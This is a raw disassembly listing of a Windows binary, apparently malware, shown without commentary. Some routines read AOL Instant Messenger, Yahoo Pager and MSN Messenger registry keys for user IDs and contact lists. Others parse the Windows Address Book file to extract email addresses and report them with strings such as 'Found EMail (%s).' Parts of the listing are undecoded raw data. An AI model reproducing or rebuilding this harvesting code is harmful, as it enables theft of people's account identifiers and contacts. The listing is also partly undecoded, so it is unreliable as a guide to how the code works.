		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 0F83D89C0h
		dd 0F30050E3h, 57C4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 1B5810E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0FCBF0000h, 0F30050E3h
		dd 0E3F8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D3C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60A568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch
		dd 263B5C8h, 81168B90h,	1FAh, 0B5850F80h, 0A0000001h, 446F60h
		dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
		dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
		dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
		dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
		dd 51000001h, 44C75250h, 4424h,	0E8900000h, 25EB54Ch, 1424448Bh
		dd 840FC085h, 13Ch, 0C085FF33h,	24247C89h, 12E860Fh, 4C8D0000h
		dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
		dd 80000003h, 402444C7h, 800h, 5FB507E8h, 0C0859002h, 0E9850Fh
		dd 4E8B0000h, 24948D04h, 0EE4h,	84685251h, 55004436h, 20244489h
		dd 569FE890h, 0B9001Bh,	33000002h, 24BC8DC0h, 6F4h, 0F310C483h
		dd 100B9ABh, 0FCBF0000h, 0F30050E3h, 24448DABh,	19685010h
		dd 6A000200h, 3685500h,	0E8800000h, 266B673h, 8468B90h
		dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh,	6A006A52h
		dd 0FF515000h, 74C085D3h, 24548B0Bh, 81E85210h,	900263B4h
		dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h
		dd 6A006Ah, 0D3FF5052h,	3C75C085h, 8BFC568Bh, 16F424BCh
		dd 8C8D0000h, 6E424h, 68525100h, 443D3Ch, 0E8694F8Dh, 0FFFCC913h
		dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D60A5h, 0FCCC6FE8h
		dd 1CC483FFh, 1024548Bh, 19E89052h, 8B0263B4h, 8B24247Ch
		dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h,	4C244C8Dh
		dd 0EC2484C6h, 16h, 0FCC619E8h,	10C683FFh, 5A14FE81h, 820F0044h
		dd 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h, 20019h
		dd 0A068006Ah, 6800445Bh, 80000002h, 302444C7h,	0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A5Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h
		dd 9468F08Bh, 5100445Bh, 446A4C68h, 0E8905600h,	1B5525h
		dd 443E7C68h, 6DE85600h, 907780A3h, 0C483F88Bh,	74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	0BEF3E890h, 0C4837780h
		dd 74C0850Ch, 24448D53h, 6A34687Ch, 90500044h, 812F8BE8h
		dd 8C48377h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A1868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60A5h, 0FCCB33E8h
		dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h,	0E8560A74h
		dd 777F74EFh, 4C48390h,	1C24448Bh, 0B2C6E850h, 8D900263h
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 4469F0h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A5C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
		dd 68F08B00h, 4469E8h, 69D86852h, 90560044h, 1B5414E8h
		dd 3E7C6800h, 0E8560044h, 7780A25Ch, 83F88B90h,	0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h
		dd 0C0850CC4h, 4C8D4C74h, 0BC687C24h, 51004469h, 812E7BE8h
		dd 0C4839077h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69A06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60A56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
		dd 80BC88E8h, 4C48377h,	0A74F685h, 73E5E856h, 8390777Fh
		dd 548B04C4h, 90521C24h, 63B1BBE8h, 244C8D02h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2AA01C7h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446938
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 2A50000h
		nop
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2A70000h
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44692C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2AA01C7h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 2A50000h
		nop
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2AA01C7h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F60
		push	eax
		nop
		call	near ptr 2A50000h
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2A70000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 29D03E9h
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2890000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 29B0989h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		call	near ptr 2890645h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		nop
		call	near ptr 2890841h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 2AA01C7h
		nop
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A78
		push	ecx
		call	ebx ; sub_5EA1BD
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 2A50000h
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A6C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		push	64h
		call	near ptr 29B0000h
		nop
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2A70000h


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
